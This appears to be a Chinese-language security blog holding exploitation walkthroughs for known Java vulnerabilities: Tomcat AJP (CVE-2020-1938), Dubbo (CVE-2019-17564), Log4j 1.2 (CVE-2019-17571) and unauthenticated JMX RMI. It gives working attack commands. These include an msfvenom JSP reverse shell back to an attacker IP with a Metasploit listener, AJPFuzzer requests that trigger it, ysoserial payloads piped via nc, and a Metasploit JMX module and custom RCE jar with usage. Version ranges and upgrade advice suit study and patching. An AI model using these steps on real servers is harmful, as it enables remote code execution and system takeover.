当Client项目运行在kali linux 时,从远程加载类库时会触发代码执行,弹出计算器。

bookmark_borderCVE-2020-1938 远程代码执行利用思路

2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布关于Apache Tomcat的安全公告,Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

读取服务器webapp下的任意文件的POC网上太多了,这里就跳过。学习一下拿shell的思路。

前提条件:

能上传jsp之类的脚本文件到服务器(文件名后缀不限),文件目录知道,且在web目录下。

1 准备利用的jsp文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f raw > shell.jsp 

假设shell.jsp 文件成功被我上传到了 web目录的 attachments 文件夹下。

(实测在jpg里藏代码,后缀用jpg不行,用jsp就可以)

2 msf监听shell

 msfconsole -q -x  'handler -H 0.0.0.0 -P 4444 -p linux/x86/shell/reverse_tcp'

3 利用

下载 ajpfuzzer_v0.6.jar

java -jar .\ajpfuzzer_v0.6.jar
AJPFuzzer> connect 192.168.1.111 8009
AJPFuzzer/192.168.1.111:8009> forwardrequest 2 "HTTP/1.1" "/attachments/shell.jsp" 127.0.0.1 localhost porto 8009 false "Cookie:AAAA=BBBB" ""

获取了shell。
原因是:当ajp URI设置为jsp路径时,Tomcat会调用JspServlet的service方法处理。
具体请参考别人的分析:

https://mp.weixin.qq.com/s/v3EQw4xaE4QTbvEwkfHz9w

影响范围
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31

bookmark_borderCVE-2019-17564 Apache Dubbo 反序列化漏洞利用

【背景】
2020年2月10号,Apache Dubbo的反序列化漏洞(CVE-2019-17564)被公布,使用 Dubbo-Rpc-Http (2.7.3 or lower) 和
Spring-Web (5.1.9.RELEASE or lower)的版本可被利用。
Apache Dubbo |ˈdʌbəʊ| 是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
Dubbo原属于阿里巴巴的开源项目,2018年阿里巴巴捐赠给 Apache 基金会。
【漏洞详情】
在使用http协议的Dubbo中,会调用org.springframework.remoting.rmi.RemoteInvocationSerializingExporter 类,该类中 readObject()时未对用户传入的post数据做校验:

其实是spring的问题
导致服务器存在特定gadgets的情况下可用作RCE(远程代码执行),这里在dubbo provider上用 JDK8U20 并添加 commons-collections4 4.0 复现。
克隆 https://github.com/apache/dubbo-samples 到本地。
在eclipse中导入一个maven项目,选择 dubbo-samples/java/dubbo-samples-http/ 项目。
修改pom.xml中dubbo为受影响的版本(2.7.3):

1 假设存在gadgets,可以利用。

2 修改项目JDK到JDK8U20

在pom.xml中引入commons-collections4,在pom.xml中的标签中添加:

<dependency>
		    <groupId>org.apache.commons</groupId>
		    <artifactId>commons-collections4</artifactId>
		    <version>4.0</version>
</dependency>

在 org.apache.dubbo.samples.http.HttpProvider中引入commons-collections4:

import org.apache.commons.collections4.Bag;
import org.apache.commons.collections4.bag.HashBag;

Bag<String> bag = new HashBag<>();

3 下载zookeeper,配置zookeeper,启动zookeeper。

4 先运行 HttpProvider ,抓包,再运行 HttpConsumer。即可得到dubbo使用http协议的报文。

5 使用ysoserial生成payload,粘贴到burp的 payload里。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "gnome-calculator" > CommonsCollections4_gnome-calculator.ser
paste from file:

【风险评级】
高危
【影响版本】
Dubbo 2.7.0 to 2.7.4
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions
【修复建议】
将项目中的 org.apache.dubbo.dubbo 包升级到最新(当前最新版2.7.5)。
腾讯御界可检测此漏洞的攻击。
【参考链接】

https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5
https://meterpreter.org/cve-2019-17564-apache-dubbo-deserialization-vulnerability-alert/
https://www.mail-archive.com/[email protected]/msg06225.html

bookmark_borderApache Log4j 1.2.X 存在远程代码执行CVE-2019-17571

org.apache.log4j.net.SocketNode类在实现Runnable接口的run方法时,未对输入做过滤,直接读取流中的对象,特定条件下可被利用,存在远程代码执行的风险。

可以看到,直接就ReadObject了,啥过滤也没做,也没校验。
如果结合其他序列化漏洞,比如Jdk7u21,就可以远程代码执行。
用java version “1.7.0_05” 启动Log4j中的example服务:

$ java -cp log4j-1.2.17.jar org.apache.log4j.net.SocketServer  1234 examples/lf5/InitUsingLog4JProperties/log4j.properties ../

结合ysoserial可以利用:

$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 “gnome-calculator” | nc localhost 1234

bookmark_borderJMX RMI 利用 exploit RCE

前提:JMX RMI 不需认证

以apache solr 8.2.0 For linux为例。

方法1:

启动默认打开RMI端口:

启动msf:

use exploit/multi/misc/java_jmx_server 
set RHOSTS 192.168.23.128
set RPORT 18983
run

理论上对JMX RMI暴露出来的未认证端口通吃。

方法2:

思路:

攻击主要分四步

源代码:

https://gitlab.com/han0x7300/jmx_rmi_exploit

Usage:

java -jar JMXRMIRCE.jar [attacker's ip] [attacker's port that can listern] [JMX RMI service ip] [JMX RMI service port] [command]

Example:

java -jar JMXRMIRCE.jar 192.168.23.154 4141 192.168.23.128 18983 “cat /etc/os-release”

也可以直接用我打包好的jar包。jre 1.8可用。

参考:
 * https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/
 * https://www.bbsmax.com/A/Gkz1pPOQdR/